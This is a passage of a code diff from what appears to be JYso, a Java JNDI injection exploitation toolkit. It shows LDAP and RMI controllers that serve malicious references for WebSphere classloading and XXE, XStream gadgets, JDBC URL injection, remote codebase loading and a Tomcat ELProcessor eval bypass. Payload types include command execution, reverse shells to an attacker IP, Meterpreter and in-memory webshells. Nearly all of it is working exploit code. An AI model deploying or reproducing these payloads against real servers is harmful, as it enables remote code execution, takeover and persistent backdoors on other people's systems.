System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset()); System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
params = new String[]{cmd}; params = new String[]{cmd};
} }
src/main/java/com/qi4l/JYso/controllers/WebsphereController.java
-136
View File
@@ -1,136 +0,0 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.PayloadType;
import com.qi4l.JYso.enumtypes.WebsphereActionType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.util.Properties;
import static org.fusesource.jansi.Ansi.ansi;
/*
* Requires:
* - websphere v6-9 libraries in the classpath
*/
@LdapMapping(uri = {"/websphere"})
public class WebsphereController implements LdapController {
private WebsphereActionType actionType;
private String localJarPath;
private String injectUrl;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Sending LDAP ResourceRef result for |@" + base));
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
Reference ref;
if (actionType == WebsphereActionType.rce) {
//prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory
ref = new Reference("ExportObject",
"com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null);
Properties refProps = new Properties();
refProps.put("com.ibm.ws.client.classpath", localJarPath);
refProps.put("com.ibm.ws.client.classname", "xExportObject");
// ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddrropertiesRefAddr("JMSProperties", refProps));
} else {
//prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory
ref = new Reference("ExploitObject",
"com.ibm.ws.webservices.engine.client.ServiceFactory", null);
ref.add(new StringRefAddr("WSDL location", injectUrl));
ref.add(new StringRefAddr("service namespace", "xxx"));
ref.add(new StringRefAddr("service local part", "yyy"));
}
e.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedActionTypeException {
try {
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
actionType = WebsphereActionType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA ActionType >> |@" + actionType));
} catch (IllegalArgumentException e) {
throw new UnSupportedActionTypeException("UnSupportedActionType >> " + base.substring(firstIndex + 1, secondIndex));
}
switch (actionType) {
case list:
String file = base.substring(base.lastIndexOf("=") + 1);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Read File/List Directory >> |@" + file));
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/list.wsdl?file=" + file;
break;
case rce:
String localJarFile = base.substring(base.lastIndexOf("=") + 1);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Local jar path >> |@" + localJarFile));
localJarPath = localJarFile;
break;
case upload:
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex < 0) thirdIndex = base.length();
PayloadType payloadType;
try {
payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
// webspherebypass 只支持这 4 种类型的 PayloadType
if (payloadType != PayloadType.command && payloadType != PayloadType.dnslog
&& payloadType != PayloadType.reverseshell && payloadType != PayloadType.webspherememshell) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType);
}
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA PayloadType >> |@" + payloadType));
switch (payloadType) {
case command:
String cmd = Util.getCmdFromBase(base);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Command >> |@" + cmd));
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=command&cmd=" + cmd;
break;
case dnslog:
String url = base.substring(base.lastIndexOf("/") + 1);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA URL >> |@" + url));
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=dnslog&url=" + url;
break;
case reverseshell:
String[] results = Util.getIPAndPortFromBase(base);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA IP >> |@" + results[0]));
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Port >> |@" + results[1]));
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=reverseshell&ip=" + results[0] + "&port=" + results[1];
break;
case webspherememshell:
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=webspherememshell";
break;
}
break;
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
if (e instanceof UnSupportedActionTypeException) throw (UnSupportedActionTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
src/main/java/com/qi4l/JYso/controllers/XStreamController.java
+8 -7
View File
@@ -5,7 +5,7 @@ import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Util; import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.LDAPResult;
@@ -16,9 +16,10 @@ import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr; import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/xstream"}) @LdapMapping(uri = {"/xstream"})
public class XStreamController implements LdapController{ public class XStreamController implements LdapController {
private PayloadType type; private PayloadType type;
private String[] params; private String[] params;
@Override @Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base); Entry e = new Entry(base);
@@ -60,12 +61,12 @@ public class XStreamController implements LdapController{
" </probes>\n" + " </probes>\n" +
" </handler>\n" + " </handler>\n" +
" </dynamic-proxy>\n" + " </dynamic-proxy>\n" +
" <string>"+ params[0] +"</string>\n" + " <string>" + params[0] + "</string>\n" +
" </java.util.PriorityQueue>\n" + " </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>"; "</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML")); ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml)); ref.add(new StringRefAddr("a", xml));
e.addAttribute("javaSerializedData", Util.serialize(ref)); e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e); result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} }
@@ -74,7 +75,7 @@ public class XStreamController implements LdapController{
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException { public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
System.out.println("- JNDI LDAP Local Refenrence Links + XStream"); System.out.println("- JNDI LDAP Local Refenrence Links + XStream");
try { try {
int firstIndex = base.indexOf("/"); int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1); int secondIndex = base.indexOf("/", firstIndex + 1);
if (secondIndex < 0) secondIndex = base.length(); if (secondIndex < 0) secondIndex = base.length();
@@ -87,7 +88,7 @@ public class XStreamController implements LdapController{
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType); throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType);
} }
String cmd = Util.getCmdFromBase(base); String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd}; params = new String[]{cmd};
} catch (Exception e) { } catch (Exception e) {
src/main/java/com/qi4l/JYso/controllers/jdbcController1.java
+55 -52
View File
@@ -3,87 +3,90 @@ package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType; import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Util; import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi; import org.fusesource.jansi.Ansi;
import org.slf4j.Logger;
import static org.fusesource.jansi.Ansi.ansi; import org.slf4j.LoggerFactory;
@LdapMapping(uri = {"/jdbc1"}) @LdapMapping(uri = {"/jdbc1"})
public class jdbcController1 implements LdapController { public class jdbcController1 implements LdapController {
private String payloadType; private static final Logger log = LoggerFactory.getLogger(jdbcController1.class);
private static String payloadType;
private String factoryType; private static String factoryType;
private String[] params; private static String[] params;
private GadgetType gadgetType; private static GadgetType gadgetType;
public static void printResultJDBC1(String base) throws Exception {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex < 0) thirdIndex = base.length();
try {
factoryType = base.substring(secondIndex + 1, thirdIndex);
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int fourthIndex = base.indexOf("/", thirdIndex + 1);
if (fourthIndex != -1) {
try {
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
params = new String[]{cmd};
}
}
@Override @Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try { try {
Entry e = new Entry(base); Entry e = new Entry(base);
String driver = payloadType; String driver = payloadType;
String JDBC_URL = params[0]; String JDBC_URL = params[0];
e.addAttribute("objectClass","javaNamingReference"); e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaClassName", "javax.sql.DataSource"); e.addAttribute("javaClassName", "javax.sql.DataSource");
e.addAttribute("javaFactory",factoryType); e.addAttribute("javaFactory", factoryType);
e.addAttribute("javaReferenceAddress", "/0/url/"+JDBC_URL,"/1/driverClassName/" + driver,"/2/username/Squirt1e","/3/password/Squirt1e","/4/initialSize/1"); e.addAttribute("javaReferenceAddress", "/0/url/" + JDBC_URL, "/1/driverClassName/" + driver, "/2/username/Squirt1e", "/3/password/Squirt1e", "/4/initialSize/1");
result.sendSearchEntry(e); result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) { } catch (Throwable er) {
System.err.println("Error while generating or serializing payload"); System.err.println("Error while generating or serializing payload");
er.printStackTrace(); log.error(String.valueOf(er));
} }
} }
@Override @Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI JDBC Refenrence Links Target < JDK20"); System.out.println("- JNDI JDBC Reference Links Target < JDK20");
try { try {
base = base.replace('\\', '/'); printResultJDBC1(base);
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex < 0) thirdIndex = base.length();
try {
factoryType = base.substring(secondIndex + 1, thirdIndex);
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int fourthIndex = base.indexOf("/", thirdIndex + 1);
if (fourthIndex != -1) {
if (fourthIndex < 0) fourthIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
params = new String[]{cmd};
}
} catch (Exception e) { } catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
src/main/java/com/qi4l/JYso/controllers/jdbcController2.java
+55 -55
View File
@@ -3,35 +3,73 @@ package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType; import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi; import org.fusesource.jansi.Ansi;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.naming.RefAddr; import javax.naming.RefAddr;
import javax.naming.Reference; import javax.naming.Reference;
import javax.naming.StringRefAddr; import javax.naming.StringRefAddr;
import java.util.Enumeration; import java.util.Enumeration;
import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/jdbc2"}) @LdapMapping(uri = {"/jdbc2"})
public class jdbcController2 implements LdapController { public class jdbcController2 implements LdapController {
private String payloadType; private static final Logger log = LoggerFactory.getLogger(jdbcController2.class);
private String factoryType; private static String payloadType;
private String[] params; private static String factoryType;
private GadgetType gadgetType; private static String[] params;
private static GadgetType gadgetType;
public static void printResultJDBC2(String base) throws Exception {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex < 0) thirdIndex = base.length();
try {
factoryType = base.substring(secondIndex + 1, thirdIndex);
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int fourthIndex = base.indexOf("/", thirdIndex + 1);
if (fourthIndex != -1) {
try {
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
params = new String[]{cmd};
}
}
@Override @Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try { try {
Entry e = new Entry(base); Entry e = new Entry(base);
String driver = payloadType; String driver = payloadType;
String JDBC_URL = params[0]; String JDBC_URL = params[0];
@@ -45,65 +83,27 @@ public class jdbcController2 implements LdapController {
e.addAttribute("javaFactory", ref.getFactoryClassName()); e.addAttribute("javaFactory", ref.getFactoryClassName());
Enumeration<RefAddr> enumeration = ref.getAll(); Enumeration<RefAddr> enumeration = ref.getAll();
int posn = 0; int sn = 0;
while (enumeration.hasMoreElements()) { while (enumeration.hasMoreElements()) {
StringRefAddr addr = (StringRefAddr) enumeration.nextElement(); StringRefAddr addr = (StringRefAddr) enumeration.nextElement();
e.addAttribute("javaReferenceAddress", "#" + posn + "#" + addr.getType() + "#" + addr.getContent()); e.addAttribute("javaReferenceAddress", "#" + sn + "#" + addr.getType() + "#" + addr.getContent());
posn ++; sn++;
} }
result.sendSearchEntry(e); result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) { } catch (Throwable er) {
System.err.println("Error while generating or serializing payload"); System.err.println("Error while generating or serializing payload");
er.printStackTrace(); log.error(String.valueOf(er));
} }
} }
@Override @Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI JDBC Refenrence Links Target < JDK20"); System.out.println("- JNDI JDBC Reference Links Target < JDK20");
try { try {
base = base.replace('\\', '/'); printResultJDBC2(base);
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex < 0) thirdIndex = base.length();
try {
factoryType = base.substring(secondIndex + 1, thirdIndex);
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int fourthIndex = base.indexOf("/", thirdIndex + 1);
if (fourthIndex != -1) {
if (fourthIndex < 0) fourthIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
params = new String[]{cmd};
}
} catch (Exception e) { } catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
src/main/java/com/qi4l/JYso/controllers/ldap2rmiController.java
+3 -6
View File
@@ -11,14 +11,12 @@ import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi; import org.fusesource.jansi.Ansi;
import java.util.Random;
@LdapMapping(uri = {"/ldap2rmi"}) @LdapMapping(uri = {"/ldap2rmi"})
public class ldap2rmiController implements LdapController { public class ldap2rmiController implements LdapController {
private final String ip = Config.ip; private final String ip = Config.ip;
private final String rmiPort = String.valueOf(Config.rmiPort); private final String rmiPort = String.valueOf(Config.rmiPort);
private String path; private String path;
@Override @Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
@@ -40,8 +38,7 @@ public class ldap2rmiController implements LdapController {
base = base.replace('\\', '/'); base = base.replace('\\', '/');
int index = base.indexOf('/'); int index = base.indexOf('/');
if (index != -1) { if (index != -1) {
String result = base.substring(index); path = base.substring(index);
path = result;
} }
} }
} }
src/main/java/com/qi4l/JYso/controllers/rmi/Basic.java
-109
View File
@@ -1,109 +0,0 @@
package com.qi4l.JYso.controllers.rmi;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.template.CommandTemplate;
import com.qi4l.JYso.template.echoStatic.Meterpreter;
import org.fusesource.jansi.Ansi;
import javax.naming.Reference;
import java.net.URL;
import java.util.Base64;
public class Basic {
static String payloadType;
//最后的反斜杠不能少
static String codebase = Config.codeBase;
static String[] params;
static GadgetType gadgetType;
public static Reference basic(String base) throws Exception {
System.out.println("- RMI Remote Refenrence Links ");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
}
if (gadgetType == GadgetType.shell) {
String cmd1 = Util.getCmdFromBase(base);
byte[] decodedBytes = Base64.getDecoder().decode(cmd1);
String cmd = new String(decodedBytes);
String[] cmdArray = cmd.split(" ");
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = cmdArray;
}
if (gadgetType == GadgetType.msf) {
String[] results1 = Util.getIPAndPortFromBase(base);
Config.rhost = results1[0];
Config.rport = results1[1];
System.out.println("[+] RemotHost: " + results1[0]);
System.out.println("[+] RemotPort: " + results1[1]);
params = results1;
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
String className = "";
if (payloadType.contains("E-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
className = EchoClass.getName();
}
if (payloadType.contains("M-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
InjShell.init(params);
className = Gadgets.createClassB(ClassName1);
}
if (payloadType.contains("command")) {
CommandTemplate commandTemplate = new CommandTemplate(params[0]);
commandTemplate.cache();
className = commandTemplate.getClassName();
}
if (payloadType.contains("msf")) {
className = Meterpreter.class.getName();
}
String className1 = className.replaceAll("\\.", "/");
URL turl = new URL(new URL(codebase), className1 + ".class");
Reference ref = new Reference("Foo", className1, turl.toString());
return ref;
}
}
src/main/java/com/qi4l/JYso/controllers/rmi/ELProcessor.java
-144
View File
@@ -1,144 +0,0 @@
package com.qi4l.JYso.controllers.rmi;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
import java.io.IOException;
import java.lang.reflect.Field;
public class ELProcessor {
static String payloadType;
static String[] params;
static GadgetType gadgetType = null;
public static ResourceRef refTomcatBypass(String base) throws Exception {
// 切割参数
System.out.println("- JNDI RMI Local Refenrence Links ");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" PaylaodType: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
}
if (gadgetType == GadgetType.shell) {
String cmd1 = Util.getCmdFromBase(base);
byte[] decodedBytes = Util.base64Decode(cmd1);
String cmd = new String(decodedBytes);
String[] cmdArray = cmd.split(" ");
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = cmdArray;
}
if (gadgetType == GadgetType.msf) {
String[] results1 = Util.getIPAndPortFromBase(base);
Config.rhost = results1[0];
Config.rport = results1[1];
System.out.println("[+] RemotHost: " + results1[0]);
System.out.println("[+] RemotPort: " + results1[1]);
params = results1;
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
// 构造ref对象
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String code = null;
if (payloadType.contains("E-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
code = InjShell.injectClass(EchoClass);
}
if (payloadType.contains("M-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
InjShell.init(params);
code = Gadgets.createClassT(ClassName1);
}
if (payloadType.contains("command")) {
code = getExecCode(params[0]);
}
if (payloadType.contains("meterpreter")) {
code = injectMeterpreter();
}
String payloadTemplate = "{" +
